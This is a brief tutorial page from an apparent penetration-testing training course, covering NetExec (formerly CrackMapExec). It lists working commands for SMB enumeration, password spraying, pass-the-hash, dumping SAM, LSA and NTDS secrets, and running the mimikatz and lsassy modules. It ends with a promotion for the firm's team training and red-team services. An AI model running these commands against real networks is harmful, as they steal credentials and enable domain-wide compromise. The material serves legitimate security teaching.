Read as

Last updated: April 29, 2026

CrackMapExec (now NetExec / nxc) is the parallel-executor that makes Impacket scriptable across hundreds of hosts.

Workflow

# Enumerate SMB hosts
nxc smb 10.0.0.0/24

# Test credentials across the subnet
nxc smb 10.0.0.0/24 -u alice -p 'Password@2026' --continue-on-success

# Pass-the-hash
nxc smb 10.0.0.0/24 -u admin -H aad3b435b51404ee...:31d6cfe...

# Once you have admin somewhere
nxc smb 10.0.0.0/24 -u admin -H HASH --sam       # dump SAM
nxc smb 10.0.0.0/24 -u admin -H HASH --lsa       # dump LSA secrets
nxc smb 10.0.0.0/24 -u admin -H HASH --ntds      # only on DC; dumps NTDS

# Modules
nxc smb target -u admin -p PASS -M mimikatz
nxc smb target -u admin -p PASS -M lsassy

Want this for your team?

Custom team training + practitioner advisory

Beyond the free academy — we run private workshops, vCISO advisory, and red-team exercises tailored to your stack. For Indian SMBs scaling past their first hire.

Book team training call Replies in 4 working hrs · India-only · Senior consultants

Module 10 · CrackMapExec / NetExec

Workflow

Custom team training + practitioner advisory

Other modules in this track